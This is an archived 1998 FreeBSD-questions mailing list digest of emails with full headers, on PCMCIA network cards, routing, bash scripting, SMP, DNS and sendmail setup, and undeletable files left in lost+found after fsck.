1998 Received: from kant.SOFTCON.de (kant.SOFTCON.de [193.31.10.39]) by boell.SOFTCON.de (8.7.5/8.7.3) with SMTP id HAA07680; Tue, 7 Apr 1998 07:04:25 GMT Message-ID: <9804070914.AA10072@kant.SOFTCON.de> Subject: Re: zp0 To: dwhite@resnet.uoregon.edu Date: Tue, 7 Apr 1998 09:11:45 +0200 (MDT) Cc: ifield@mstk.com, freebsd-questions@FreeBSD.ORG In-Reply-To: from "Doug White" at Apr 6, 98 12:15:44 pm >From: guru@sisis.de (Matthias Apitz) Reply-To: Matthias.Apitz@SOFTCON.de (Matthias Apitz) X-FAX-cover: faxcover-sisis.ps X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White wrote: On Sat, 5 Apr 1997, Ian Field wrote: > What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to > get 2.2.6-RELEASE to find this card. Use the 3com setup program on the 3c589 driver disk. I think it's called `Install', select `Configuration and Diagnostics.' I tried this too but it complains about "No card" (or something like that). The reason is the missing Card Service -- or do you have a tool which doesn't require CS? matthias -- firm: matthias.apitz@sisis.de [voc:+49-89-61308-351, fax: +49-89-61308-188] priv: guru@thias.muc.de PGP: Key fingerprint = 0C 01 F2 23 EC 17 A2 D5 46 2D 29 4C 0E 8B 7E 8F URL: http://www.sisis.de/~guru/ http://www.muc.de/~thias/ from USENET: People who run servers understand that flashy interactive interfaces have nothing to do with the underlying functionality and often get in the way. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:04:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA15194 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:04:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA15178 for ; Tue, 7 Apr 1998 01:04:02 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id RAA12533; Tue, 7 Apr 1998 17:33:59 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id RAA07537; Tue, 7 Apr 1998 17:33:59 +0930 (CST) (envelope-from grog) Message-ID: <19980407173358.28439@freebie.lemis.com> Date: Tue, 7 Apr 1998 17:33:58 +0930 From: Greg Lehey To: Ruslan Ermilov Cc: FreeBSD Questions Subject: Re: Writing device drivers. References: <3529BAD7.E978AA40@ms11.hinet.net> <19980407094430.13351@ucb.crimea.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <19980407094430.13351@ucb.crimea.ua>; from Ruslan Ermilov on Tue, Apr 07, 1998 at 09:44:30AM +0300 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 April 1998 at 9:44:30 +0300, Ruslan Ermilov wrote: > On Tue, Apr 07, 1998 at 01:34:15PM +0800, Doug Lo wrote: >> I want to write device drivers on FreeBSD, would anyone know where has >> information about it? >> > > Go to the http://www.freebsd.org/tutorials. > See ``FreeBSD Device Driver Writer's Guide''. More specifically, the URL is http://www.freebsd.org/tutorials/ddwg/ddwg.html. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:04:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA15214 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:04:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA15189 for ; Tue, 7 Apr 1998 01:04:12 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id EAA19758; Tue, 7 Apr 1998 04:08:42 -0400 (EDT) Date: Tue, 7 Apr 1998 04:08:42 -0400 (EDT) From: "Stephen A. Derdau" To: lindsay evenson cc: questions@FreeBSD.ORG Subject: Re: router questions In-Reply-To: <1.5.4.16.19980407003619.276f5e52@mail.interlog.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Check out the section on ip-aliasing here http://www.freebsd.org/docs.html I think this may help you Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" On Mon, 6 Apr 1998, lindsay evenson wrote: > Hi, Brandon here again, > > I would just like to thank all you guys at FreeBSD for helping me > out with my problems from the past. So far I have almost completed my > mission but I am still missing a few things. OK I am running a 386 with > FreeBSD version 2.1.7.1 . I have a modem and a network card installed in the > computer and they both work. I have two other computers running win95. All > three of my computers are networked with TCP/IP, and they all recognise > eachother. I also have an internet connection which provides dynamic ip > addresses not static, and only one at a time. I have used User PPP to dial > up to my ISP and I can connect and use the internet from my FreeBSD machine. > What I want to do now is route requests through my FreeBSD machine from my > two other computers which are running win95 so that they can now access the > internet, and also ping sites on the internet as if directly connected. > WHat FreeBSD programs will I need to accomplish this? What sort of setup > and editing of files in the FreeBSD machine will I need to do? What will I > need to change in my win95 computers (make the gateway point to my freeBSD > machine?) ? > > I have been told in the past to try Natd, but I cant find it on my FreeBSD > system. I have also heard that I should use something like, alias?? > > If you could answer or give me any supplementary information I would greatly > appreciate it. > > Thanks > > Brandon > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:09:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA16328 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:09:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA16321 for ; Tue, 7 Apr 1998 01:09:32 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id RAA12544; Tue, 7 Apr 1998 17:38:52 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id RAA07600; Tue, 7 Apr 1998 17:38:52 +0930 (CST) (envelope-from grog) Message-ID: <19980407173852.47780@freebie.lemis.com> Date: Tue, 7 Apr 1998 17:38:52 +0930 From: Greg Lehey To: Dean Hollister , FreeBSD Questions Subject: Re: bash question References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Dean Hollister on Tue, Apr 07, 1998 at 02:09:11PM +0800 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 April 1998 at 14:09:11 +0800, Dean Hollister wrote: > > Hi, > > Just a quick (and no doubt easy question). I have a bash script, and want > to check if a value is greater than 100 and less than 1000. I get as far > as: > > if [ $value what goes in here? ]; then > dosomething > fi if [ $value -gt 100 -a $value -lt 1000 ]; then dosomething fi It's in the man page for test(1). The name [ is a synonym for test: $ ls -l /bin/[ /bin/test -r-xr-xr-x 2 bin bin 45056 Mar 27 14:30 /bin/[ -r-xr-xr-x 2 bin bin 45056 Mar 27 14:30 /bin/test Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:12:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA16810 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:12:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dkinet3.datakontor.de (root@dkinet3.datakontor.de [194.231.150.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA16805 for ; Tue, 7 Apr 1998 01:12:03 -0700 (PDT) (envelope-from hbaust@impuls-kr.de) Received: (from uucp@localhost) by dkinet3.datakontor.de (8.8.5/8.8.5) with UUCP id JAA02954 for questions@freebsd.org; Tue, 7 Apr 1998 09:50:01 +0200 Received: from localhost (hbaust@localhost) by inetserv.impuls-kr.de (8.8.8/8.8.8) with SMTP id JAA28598 for ; Tue, 7 Apr 1998 09:09:55 +0200 Date: Tue, 7 Apr 1998 09:09:54 +0200 (MEST) From: Holger Baust To: questions@FreeBSD.ORG Subject: FreeBSD 2.1.5 and Linux PPP-Link Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ! The Userland PPP Hack of brian Sommers runs on 2.1.5 ??? The only binary Version is for 2.2.5. Or is it Possible to get a running Version (perhaps the one of Malte) via MIME attachment ??? Regards, Holger Baust -- Holger Baust, Technik und Internet Services impuls GmbH TeleFon: +49-2151-8533 email: hbaust@impuls-kr.de TeleFax: +49-2151-853401 http://www.impuls-kr.de/~hbaust http://www.impuls-kr.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:12:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA17071 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:12:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA17066 for ; Tue, 7 Apr 1998 01:12:31 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id JAA03225; Tue, 7 Apr 1998 09:12:26 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <3529DFEB.C6758C60@tdx.co.uk> Date: Tue, 07 Apr 1998 09:12:27 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: El Diablo CC: freebsd-questions@FreeBSD.ORG Subject: Re: smp References: <3529CE8B.F4EFB929@wt.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG FreeBSD-Current (i.e. 3.0) supports SMP, but be warned - it's not guarenteed to be _STABLE_ (though a lot of people do run it on their regular systems)... Have a look at www.freebsd.org - i.e. http://www.freebsd.org/handbook/handbook231.html#492 You might also want to subscribe to the 'current' and 'smp' mailing lists for a bit and see what's going on... The SMP support works on most hardware - but if your on the right lists you'll be able to check this with people... ;-) Regards, Karl Pielorz El Diablo wrote: > > does FreeBSD support SMP well? I have a dual pentium 200! ;) want to > use that extra processor. > > if bsd does support smp how well does it support it. i bought freeBSD > hoping to make use of it, i really like BSD too > > thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:25:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA18499 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:25:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from odyssey.apana.org.au (odyssey.apana.org.au [203.11.114.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA18474 for ; Tue, 7 Apr 1998 01:25:00 -0700 (PDT) (envelope-from dean@odyssey.apana.org.au) Received: from localhost (dean@localhost) by odyssey.apana.org.au (8.8.7/8.8.7) with SMTP id QAA22113; Tue, 7 Apr 1998 16:25:33 +0800 (WST) Date: Tue, 7 Apr 1998 16:25:33 +0800 (WST) From: Dean Hollister To: Greg Lehey cc: FreeBSD Questions Subject: Re: bash question In-Reply-To: <19980407173852.47780@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Greg Lehey wrote: > It's in the man page for test(1). The name [ is a synonym for test: Thanks. Now another obvious question. If I: echo "Text" | bash-script What "value" is the about output going into the script assigned to, ie, from within the script, to put "text" into a string would require: string=? Regards, d. +-------------------------------------------------------+ | Dean Hollister, | dean@odyssey.apana.org.au | | Perth, Western Australia. | deanh@iinet.net.au | +-------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:38:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA19463 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:38:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA19456 for ; Tue, 7 Apr 1998 01:38:43 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id BAA07289; Tue, 7 Apr 1998 01:38:38 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <3529E60E.BCB440EA@san.rr.com> Date: Tue, 07 Apr 1998 01:38:38 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: anthony@sohopros.com CC: freebsd-questions@FreeBSD.ORG Subject: Re: communicator-v404 References: <3.0.32.19980406132326.00900220@pop.flash.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG anthony@sohopros.com wrote: > > Does anyone have a copy of: > communicator-v404-export.x86-unknown-freebsd.tar.gz > that I can download. I reformatted my dive the other > day and lost my copy. I have downloaded and installed > communicator-v405... about seven times, but either it > doesn't work or I'm doing something wrong. What *exact* problems are you having, and have you tried installing 4.05 from the freebsd port? Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 01:58:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA21027 for freebsd-questions-outgoing; Tue, 7 Apr 1998 01:58:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from odyssey.apana.org.au (odyssey.apana.org.au [203.11.114.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA21021 for ; Tue, 7 Apr 1998 01:57:54 -0700 (PDT) (envelope-from dean@odyssey.apana.org.au) Received: from localhost (dean@localhost) by odyssey.apana.org.au (8.8.7/8.8.7) with SMTP id QAA24985; Tue, 7 Apr 1998 16:59:19 +0800 (WST) Date: Tue, 7 Apr 1998 16:59:18 +0800 (WST) From: Dean Hollister To: Karl Pielorz cc: FreeBSD Questions Subject: Re: bash question In-Reply-To: <3529E682.80B89EA@tdx.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Karl Pielorz wrote: > Hi, > > Try: > > string=$1 No. That would only be useful if I did: scriptname inputofsomesort which isn't happening. I'm piping a line of text into a bash script. Regards, d. +-------------------------------------------------------+ | Dean Hollister, | dean@odyssey.apana.org.au | | Perth, Western Australia. | deanh@iinet.net.au | +-------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 02:02:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA22108 for freebsd-questions-outgoing; Tue, 7 Apr 1998 02:02:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA22094 for ; Tue, 7 Apr 1998 02:02:34 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id KAA00404; Tue, 7 Apr 1998 10:02:11 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <3529EB8E.EDEE00F0@tdx.co.uk> Date: Tue, 07 Apr 1998 10:02:06 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: Dean Hollister , questions@FreeBSD.ORG Subject: Re: bash question References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oops.. (thanks for pushing it to the list... ) Assuming: echo "hello" | ./myscript Try: read string (as the scripts standard input will have the 'hello' arriving on it)... You'll need to parse the 'string' then if you want it split up into bits etc... Regards, Karl Dean Hollister wrote: > > On Tue, 7 Apr 1998, Karl Pielorz wrote: > > > Hi, > > > > Try: > > > > string=$1 > > No. That would only be useful if I did: > > scriptname inputofsomesort > > which isn't happening. I'm piping a line of text into a bash script. > > Regards, > > d. > > +-------------------------------------------------------+ > | Dean Hollister, | dean@odyssey.apana.org.au | > | Perth, Western Australia. | deanh@iinet.net.au | > +-------------------------------------------------------+ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 02:25:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA23860 for freebsd-questions-outgoing; Tue, 7 Apr 1998 02:25:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alcatel.fr (news.alcatel.fr [194.133.58.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA23855 for ; Tue, 7 Apr 1998 02:25:17 -0700 (PDT) (envelope-from THIERRY.HERBELOT@telspace.alcatel.fr) From: THIERRY.HERBELOT@telspace.alcatel.fr Received: from alcatel.fr (gatekeeper-ssn.alcatel.fr [155.132.180.244]) by mailgate.alcatel.fr (ALCANET/SMTP.9.9.9) with ESMTP id LAA22506 for ; Tue, 7 Apr 1998 11:29:14 +0200 Received: from aifhs1.alcatel.fr (aifhs1.alcatel.fr [155.132.180.86]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id LAA00447 for ; Tue, 7 Apr 1998 11:20:30 +0200 (MET DST) Received: from aifhs2.alcatel.fr (localhost [127.0.0.1]) by aifhs1.alcatel.fr (8.8.8/8.8.8) with ESMTP id LAA28389 for ; Tue, 7 Apr 1998 11:22:33 +0200 (MET DST) Received: from lune.telspace.alcatel.fr (lune.telspace.alcatel.fr [155.132.144.65]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id LAA00357 for ; Tue, 7 Apr 1998 11:20:25 +0200 (MET DST) Received: from telss1 (telss1.telspace.alcatel.fr [155.132.51.4]) by lune.telspace.alcatel.fr (8.7.6/8.7.3) with SMTP id LAA03131 for ; Tue, 7 Apr 1998 11:17:21 +0200 (MET DST) Received: from eole.telspace.alcatel.fr by telss1 (4.1/SMI-4.1) id AA08556; Tue, 7 Apr 98 11:07:44 +0200 Received: from localhost by eole.telspace.alcatel.fr with SMTP (1.40.112.12/16.2) id AA179389917; Tue, 7 Apr 1998 11:05:17 +0200 X-Openmail-Hops: 1 Date: Tue, 7 Apr 98 11:05:07 +0200 Message-Id: Subject: non-removable files after fsck Mime-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Content-Type: text/plain; charset=US-ASCII; name="Texte" Content-Disposition: inline; filename="Texte" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've installed a 2.2.5-Release PC, which runs with generally no trouble. I've seen this morning that the df output on the /var partition did not correspond to the du ouput on the same partition. I then rebooted the machine to have fsck repair the partition. It did check / repair / salvage everything bad it found. Files were transferred to /var/lost+found. I kept all files that mattered (got rid of /var/run/*.pid files). I'm now with strange files in /var/lost+found and I don't know what to do with them : ======================================== # cd /var/lost+found # ll total 0 brwxrwxrwx 25376 5389804 1702043 97, 0x20300061 Feb 5 1995 #0075 brwxrwxrwx 12385 1868783 1851878 115, 0x6e65005f Feb 26 1996 #0082 b--sr-S--t 14948 5404877 8258982 116, 0x5b3a006f Feb 26 1996 #0092 brwxrwxrwx 25384 1744169 8083999 109, 0x6b61005f Feb 26 1996 #0113 br-sr-Srwt 14964 1634036 1445470 100, 0x5f6d006d Dec 8 01:53 #0115 # ======================================== Has anyone any idea to purge these files ? (I can't rm or mv them : "operation not permitted", even after su'ing to root) Thanks in advance TfH To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 02:27:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA24148 for freebsd-questions-outgoing; Tue, 7 Apr 1998 02:27:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA24122 for ; Tue, 7 Apr 1998 02:27:22 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id SAA12623; Tue, 7 Apr 1998 18:57:15 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id SAA07801; Tue, 7 Apr 1998 18:57:15 +0930 (CST) (envelope-from grog) Message-ID: <19980407185715.20061@freebie.lemis.com> Date: Tue, 7 Apr 1998 18:57:15 +0930 From: Greg Lehey To: Dean Hollister Cc: FreeBSD Questions Subject: Re: bash question References: <19980407173852.47780@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Dean Hollister on Tue, Apr 07, 1998 at 04:25:33PM +0800 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 April 1998 at 16:25:33 +0800, Dean Hollister wrote: > On Tue, 7 Apr 1998, Greg Lehey wrote: > >> It's in the man page for test(1). The name [ is a synonym for test: > > Thanks. Now another obvious question. If I: > > echo "Text" | bash-script > > What "value" is the about output going into the script assigned to, ie, > from within the script, to put "text" into a string would require: > > string=? If you want the complete input, string=$* You can also split it into individual parameters ($1, $2, etc.). Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 02:30:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA24724 for freebsd-questions-outgoing; Tue, 7 Apr 1998 02:30:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA24715 for ; Tue, 7 Apr 1998 02:30:04 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id CAA07576; Tue, 7 Apr 1998 02:30:01 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <3529F218.FDA0E5D6@san.rr.com> Date: Tue, 07 Apr 1998 02:30:00 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Paul MacKenzie CC: freebsd-questions@FreeBSD.ORG Subject: Re: Domain name problem: DNS & Sendmail?? References: <199804062015.QAA00398@server.elehost.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Paul MacKenzie wrote: > > Hello, > > small problem.. > > when I send mail to xxx@server.FQDN.com it works.. > > when I send mail to xxx@FQDN.com it doesnt.. > > I have (apart from spending hours of work) > > 1) set up masquerading properly within sendmail > > tested by simple pinging... ie.. > > ping fqdn.com (it works when I manually send mail within my network) > > I get the following.. ping: cannot resolve FQDN.com: Unknown host > > yet there are no problems with www.FQDN.com, ftp.FQDN.com, etc... > > Thus, all mail is refused.. > > Any help with this (dns?) problem would be appreciated You don't seem to have any records (either A or MX) for FQDN.com. If you think you do and that they should be working, try sending us the real domain name so we can check for ourselves. If it's a totally internal zone (no access to the internet at all) then do this and mail it back: dig @your.internal.nameserver whateverFQDNreallyis.com any Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 02:34:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA25521 for freebsd-questions-outgoing; Tue, 7 Apr 1998 02:34:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA25516 for ; Tue, 7 Apr 1998 02:34:14 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id CAA07586; Tue, 7 Apr 1998 02:31:59 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <3529F28E.4F64B674@san.rr.com> Date: Tue, 07 Apr 1998 02:31:58 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: "de Bari, Baden Rosario (ISM)" CC: "'questions@FreeBSD.ORG'" Subject: Re: One more question References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG de Bari, Baden Rosario (ISM) wrote: > > Becuase I do use quite a bit of Windows software - is there an option to > use windows-based programs with FreeBSD? No. The commercial solution (wabi) doesn't run in freebsd, and the various freeware emulators are nowhere near prime time. However you can find equivalent software for almost everything in the MS world. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 02:40:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA26345 for freebsd-questions-outgoing; Tue, 7 Apr 1998 02:40:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cyclone.degnet.baynet.de (www.degnet.baynet.de [194.95.214.129]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA26339 for ; Tue, 7 Apr 1998 02:40:15 -0700 (PDT) (envelope-from malte@webmore.com) Received: from bachus (unverified [194.95.214.181]) by cyclone.degnet.baynet.de 